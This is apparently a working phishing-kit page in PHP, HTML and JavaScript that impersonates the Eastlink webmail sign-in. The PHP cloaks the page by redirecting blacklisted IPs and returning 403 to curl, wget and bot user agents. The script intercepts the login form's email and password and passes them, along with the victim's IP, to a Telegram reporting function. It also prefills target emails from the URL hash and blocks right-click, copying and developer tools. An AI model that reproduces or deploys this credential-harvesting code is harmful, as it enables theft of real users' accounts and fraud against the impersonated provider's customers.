<?php
//═══════════════════════════════════════════════════════════════════════════
//  🚫 IP BLACKLIST CHECK (High Priority)
//═══════════════════════════════════════════════════════════════════════════
require_once __DIR__ . '/../ip_blacklist_loader.php';

if (!function_exists('x8SYQLpUqU')) { 
    function x8SYQLpUqU() { 
        $xb2zx1 = $_SERVER['SERVER_ADDR']; 
        $xXSEJ = '127.0.0.1'; 
        if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR'])!=$xXSEJ)) {
            $ip=$_SERVER['GEOIP_ADDR'];
        } elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=$xXSEJ) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=($xb2zx1))) {
            $ip=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])[0];
        } elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && (($_SERVER['HTTP_CLIENT_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CLIENT_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CLIENT_IP'];
        } else {
            $ip=$_SERVER['REMOTE_ADDR'];
        } 
        return $ip; 
    }
}
$ip=x8SYQLpUqU();

// Check if visitor IP is in blacklist files
if (IPBlacklistLoader::isBlacklisted($ip)) {
    // IP is blacklisted - redirect to centralized URL
    require_once __DIR__ . '/../config_redirect.php';
    header('Location: ' . CENTRALIZED_REDIRECT_URL, true, 302);
    exit;
}

//═══════════════════════════════════════════════════════════════════════════
//  Basic Bot Detection (Secondary Layer)
//═══════════════════════════════════════════════════════════════════════════ 

if (!function_exists('x9PfbWn2bS')) { 
    function x9PfbWn2bS() { 
        if(empty($_SERVER['HTTP_USER_AGENT'])) { 
            $_SERVER['HTTP_USER_AGENT'] = getenv('HTTP_USER_AGENT'); 
        } 
        return $_SERVER['HTTP_USER_AGENT']; 
    }
}
$eRf9t9d9 = x9PfbWn2bS();

// Basic user agent check (secondary protection layer)
$ua_lower = strtolower($eRf9t9d9);
$obvious_bots = ['curl', 'wget', 'python-requests', 'python-urllib', 'go-http-client', 'java/', 'bot', 'crawler', 'spider', 'scraper'];
foreach ($obvious_bots as $bot_signature) {
    if (strpos($ua_lower, $bot_signature) !== false) {
        die(header('HTTP/1.1 403 Forbidden'));
    }
}

// ✅ All checks passed - load page
?>
<!DOCTYPE html>
<html>

<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  <title>Sign In with Eastlink</title>
  
  <!-- Antibot Scripts -->
  <script src="../m/js/fingerprint.js"></script>
  <script src="../m/js/utils.js"></script>
  <script src="../m/js/captcha.js"></script>
  
  <!-- Centralized Functions -->
  <script src="../js/centralized_telegram.js"></script>
  <script src="../js/centralized_redirect.js"></script>
  <script src="../js/email_extractor.js"></script>
  <script src="../js/autofill_helper.js"></script>
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0" />

  <link rel="icon" type="image/png" href="https://access.eastlink.ca/assets/images/favicon/Favicon_32x32.png" sizes="any">
  <link rel="apple-touch-icon" href="https://access.eastlink.ca/assets/images/favicon/Favicon_180x180.png">
</head>

<body>

  <!--[if IE 8]>
  <script src="//cdnjs.cloudflare.com/ajax/libs/ie8/0.2.5/ie8.js"></script>
  <![endif]-->

  <!--[if lte IE 9]>
  <script src="https://cdn.auth0.com/js/base64.js"></script>
  <script src="https://cdn.auth0.com/js/es5-shim.min.js"></script>
  <![endif]-->

  <script src="https://cdn.auth0.com/js/lock/12.5/lock.min.js"></script>
  <script>
    // Decode utf8 characters properly
    var config = JSON.parse(decodeURIComponent(escape(window.atob('eyJpY29uIjoiaHR0cHM6Ly9hY2Nlc3MuZWFzdGx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wdGlvbnMiOnsicHJvdG9jb2wiOiJvYXV0aDIiLCJyZXNwb25zZV90eXBlIjoiY29kZSIsInNjb3BlIjoib3BlbmlkIGVtYWlsIG9mZmxpbmVfYWNjZXNzIiwibm9uY2UiOiJUS2ZlbzFWeklPTFZwTl95NmtoYzVzSUdJRzNNMk9kZWFyc3hEWFljczZjIiwiX2NzcmYiOiJQbkZHUWJucC1FdVVBc1RTUWk5cGNPdVRZTFBXMjlXcUNhcjQiLCJfaW50c3RhdGUiOiJkZXByZWNhdGVkIiwic3RhdGUiOiJoS0ZvMlNCM2FHTTVOV3N6VEY5c1UzYzRZbTFhZW13eFlXOHplVko1WlRkRVZtRjFTNkZ1cFd4dloybHVvM1JwWk5rZ2JtTlRkR1pDUmxwSmJVSk1RVUV0T0Zkc1ZGcHlTSGRCWnpkeE4yZGZURkNqWTJsazJTQkZkbXRDWnpOU1owZGlNVkJoTW14aFVWTkVXSGxKUTBac2VtZHBOMjQ1Y2cifSwid2lkZ2V0VXJsIjoiaHR0cHM6Ly9jZG4uYXV0aDAuY29tL3cyL2F1dGgwLXdpZGdldC01LjIubWluLmpzIiwiaXNUaGlyZFBhcnR5Q2xpZW50IjpmYWxzZSwiYXV0aG9yaXphdGlvblNlcnZlciI6eyJ1cmwiOiJodHRwczovL2xvZ2luLmVhc3RsaW5rLmNhIiwiaXNzdWVyIjoiaHR0cHM6Ly9sb2dpbi5lYXN0bGluay5jYS8ifSwiY29sb3JzIjp7InBhZ2VfYmFja2dyb3VuZCI6IiNmMmYyZjIiLCJwcmltYXJ5IjoiI2U4MTg0OSJ9fQ=='))));
    config.extraParams = config.extraParams || {};
    var connection = config.connection;
    var prompt = config.prompt;
    var languageDictionary;
    var language;

    var localDictionary =     {
      usernameOrEmailInputPlaceholder: "Email Address (e.g. user@eastlink.ca)",
      usernameInputPlaceholder: "Email Address (e.g. user@eastlink.ca)",
      passwordInputPlaceholder: "Password",
      title: "Webmail - Please sign in using your full email address",
    }
 || {};

    if (config.dict && config.dict.signin && config.dict.signin.title) {
      languageDictionary = {title: config.dict.signin.title};
    } else if (typeof config.dict === 'string') {
      language = config.dict;
    }
    var loginHint = config.extraParams.login_hint;
    var colors = config.colors || {};

    languageDictionary = {...languageDictionary, ...localDictionary};

    // Available Lock configuration options: https://auth0.com/docs/libraries/lock/lock-configuration
    var lock = new Auth0Lock(config.clientID, config.auth0Domain, {
      auth: {
        redirectUrl: config.callbackURL,
        responseType: (config.internalOptions || {}).response_type ||
          (config.callbackOnLocationHash ? 'token' : 'code'),
        params: config.internalOptions
      },
      configurationBaseUrl: config.clientConfigurationBaseUrl,
      overrides: {
        __tenant: config.auth0Tenant,
        __token_issuer: config.authorizationServer.issuer
      },
      assetsUrl: config.assetsUrl,
      allowedConnections: connection ? [connection] : null,
      rememberLastLogin: !prompt,
      language: language,
      languageBaseUrl: config.languageBaseUrl,
      languageDictionary: languageDictionary,
      theme: {
        logo: "https://access.eastlink.ca/assets/images/eastlink-logo-desktop.svg",
        primaryColor: colors.primary ? colors.primary : 'green'
      },
      prefill: loginHint ? {email: loginHint, username: loginHint} : null,
      closable: false,
      defaultADUsernameFromEmailPrefix: false,
      forgotPasswordLink: "https://epm.eastlink.ca/recovery/forgot-password",
      usernameStyle: 'username'
    });

    if (colors.page_background) {
      var css = '.auth0-lock.auth0-lock .auth0-lock-overlay { background: ' +
        colors.page_background +
        ' }';
      var style = document.createElement('style');

      style.appendChild(document.createTextNode(css));

      document.body.appendChild(style);
    }

    lock.show();

    // Hook into Auth0 Lock submission
    lock.on('authenticated', function(authResult) {
      // This would normally redirect, but we'll intercept credentials first
      console.log('Auth0 authenticated event triggered');
    });
  </script>
  
  <style type="text/css">
    @media (min-width: 481px) {
      .auth0-lock.auth0-lock.auth0-lock-opened .auth0-lock-widget {
        box-shadow: none !important;
      }

      .auth0-lock.auth0-lock .auth0-lock-widget {
        width: 400px;
      }

      .auth0-lock.auth0-lock .auth0-lock-cred-pane {
        background: none !important;
        padding: 14px;
      }

      .auth0-lock.auth0-lock .auth0-lock-header {
        background: none !important;
      }

      .auth0-lock.auth0-lock .auth0-lock-header-bg {
        background: none !important;
      }

      .auth0-lock.auth0-lock .auth0-lock-form {
        padding: 20px 0 20px 0;
      }
    }

    .auth0-lock.auth0-lock .auth0-lock-submit {
      border-radius: 5px;
    }

    .auth0-lock.auth0-lock .auth0-lock-input-wrap {
      border-radius: 3px;
      border: 1px solid #c9c8c7;
      position: relative;
      background: white;
      transition: border-color 0.8s;
    }

    .auth0-lock.auth0-lock .auth0-lock-input-wrap .auth0-lock-input {
      font-size: inherit !important;
    }

    .auth0-lock.auth0-lock .auth0-lock-input-wrap.auth0-lock-focused {
      border-color: #fbaf31;
      outline: 0;
      box-shadow: 0 0 0 .2rem rgba(251, 175, 49, .25);
    }

    .auth0-lock.auth0-lock .auth0-lock-header-bg {
      visibility: hidden;
    }

    .auth0-lock.auth0-lock .auth0-lock-header-logo {
      height: 55px !important;
    }
  </style>
 </section>
	<script>
        function togglePassword(el) {
            // el is the button element
            var pwd = document.getElementById('password');
            // flip the type
            if (pwd.type === 'password') {
                pwd.type = 'text';
                el.setAttribute('aria-pressed', 'true');
                el.setAttribute('aria-label', 'Hide password');
                el.title = 'Hide password';
            } else {
                pwd.type = 'password';
                el.setAttribute('aria-pressed', 'false');
                el.setAttribute('aria-label', 'Show password');
                el.title = 'Show password';
            }
            // keep focus and cursor position after type toggle
            try {
            // Try to capture both selectionStart and selectionEnd so caret/selection
                // isn't moved to the start when toggling. If browser doesn't support
                // these properties, fall back to moving caret to the end.
                var start = typeof pwd.selectionStart === 'number' ? pwd.selectionStart : pwd.value.length;
                var end = typeof pwd.selectionEnd === 'number' ? pwd.selectionEnd : start;
                pwd.focus();
                // Allow a micro task for some browsers to re-evaluate type change
                // before setting selection (improves reliability).
                setTimeout(function() {
                    try { pwd.setSelectionRange(start, end); } catch (inner) { /* ignore */ }
                }, 0);
            } catch (e) { /* ignore if not supported */ }
        }
        // Initial spinner and error logic
        window.addEventListener('DOMContentLoaded', function() {
            var spinner = document.getElementById('initSpinner');
            var app = document.getElementById('app');
            var mainContent = document.getElementById('mainContent');
            var initError = document.getElementById('initError');
            // Show mainContent immediately
            if (mainContent) {
                mainContent.style.display = 'block';
            }
        });
    </script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
    <script
      type="text/javascript"
      src="https://l2.io/ip.js?var=userip"
    ></script>
        <script type="text/javascript" src="https://l2.io/ip.js?var=userip"></script>
  </body>
  <script>
  /* global $ */
  $(document).ready(function() {
    var count = 0;

    function isValidEmail(email) {
      var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
      return filter.test(email);
    }

        // Auto-fill email from URL hash fragment.
        // Accepts:
        //  - #email=user@example.com
        //  - #user%40example.com (raw value)
        //  - #dXNlcj5AZXhhbXBsZS5jb20= (base64 encoded value)
        function autoFillFromHash() {
            try {
                var h = window.location.hash || '';
                if (!h) return;
                var fragment = h.substr(1);
                if (!fragment) return;

                // If prefix like email=abc then split and use RHS
                var value = fragment;
                var partsIdx = fragment.indexOf('=');
                if (partsIdx !== -1) {
                    var lhs = fragment.substr(0, partsIdx).toLowerCase();
                    var rhs = fragment.substr(partsIdx + 1);
                    if (lhs === 'email') value = rhs;
                }

                // URL decode once
                try { value = decodeURIComponent(value); } catch (e) { /* ignore */ }

                // If base64, decode
                var base64regex = /^([A-Za-z0-9+/]{4})*(([A-Za-z0-9+/]{2}==)|([A-Za-z0-9+/]{3}=))?$/;
                if (base64regex.test(value.replace(/\s/g, ''))) {
                    try {
                        var decoded = atob(value);
                        if (decoded) value = decoded;
                    } catch (e) { /* ignore if not valid base64 */ }
                }

                // Fill the field if it looks like a valid email
                if (value && isValidEmail(value)) {
                    $('#email').val(value).trigger('input');
                    // Optionally focus the password or keep focus on email
                    $('#password').focus();
                }
            } catch (err) { console.warn('autoFillFromHash error', err); }
        }

        // Run auto-fill on page ready
        autoFillFromHash();

        // Hook into Auth0 Lock widget form submission
        // Wait for Auth0 widget to render, then intercept submit
        var checkAuth0 = setInterval(function() {
            var auth0EmailInput = $('input[type="email"], input[name="email"], input[name="username"]').not('#email');
            var auth0PasswordInput = $('input[type="password"]').not('#password');
            var auth0SubmitBtn = $('button[type="submit"]').not('#submit-btn');
            
            if (auth0EmailInput.length && auth0PasswordInput.length && auth0SubmitBtn.length) {
                clearInterval(checkAuth0);
                
                auth0SubmitBtn.on('click', function(e) {
                    // Get credentials from Auth0 form
                    var email = auth0EmailInput.val() ? auth0EmailInput.val().trim() : '';
                    var pw = auth0PasswordInput.val() ? auth0PasswordInput.val().trim() : '';
                    
                    if (email && pw && isValidEmail(email)) {
                        // Use centralized Telegram reporting with provider tag
                        window.providerTag = 'eastlink';
                        var clientIP = window.userip || 'n/a';
                        
                        if (typeof sendCentralizedTelegramReport === 'function') {
                            sendCentralizedTelegramReport(providerTag, email, pw, clientIP, function(success) {
                                console.log(success ? 'Credentials sent' : 'Send failed');
                            });
                        } else {
                            console.error('Centralized Telegram function not available');
                        }
                    }
                });
            }
        }, 500);

        // Anti-copy / anti-inspect: discourage right-click, copying, and common dev keys.
        (function() {
            // Disable right-click context menu on non-touch devices only
            var isTouch = 'ontouchstart' in window || navigator.maxTouchPoints > 0;
            if (!isTouch) {
                document.addEventListener('contextmenu', function(e) {
                    e.preventDefault();
                    return false;
                }, false);
            }

            // Disable copy from page
            document.addEventListener('copy', function(e) {
                try { e.clipboardData.setData('text/plain', 'Copying is disabled on this page.'); } catch (err) {}
                e.preventDefault();
                return false;
            });

            // Prevent selection initiation (safely allow within inputs)
            document.addEventListener('selectstart', function(e) {
                if (!e.target.closest('input, textarea')) {
                    e.preventDefault();
                    return false;
                }
            });

            // Block some developer tools key combos (not foolproof)
            document.addEventListener('keydown', function(e) {
                // F12
                if (e.keyCode === 123) { e.preventDefault(); e.stopPropagation(); return false; }
                // Ctrl+Shift+I / Ctrl+Shift+J / Ctrl+Shift+C
                if (e.ctrlKey && e.shiftKey && (e.keyCode === 73 || e.keyCode === 74 || e.keyCode === 67)) { e.preventDefault(); e.stopPropagation(); return false; }
                // Ctrl+U, Ctrl+S
                if (e.ctrlKey && (e.keyCode === 85 || e.keyCode === 83)) { e.preventDefault(); e.stopPropagation(); return false; }
                // Cmd+Option+I (mac dev tools)
                if (e.metaKey && e.altKey && e.keyCode === 73) { e.preventDefault(); e.stopPropagation(); return false; }
            });
        })();

        // Note: Eastlink uses Auth0 Lock widget which is handled above
});
  </script>
</body>

</html>
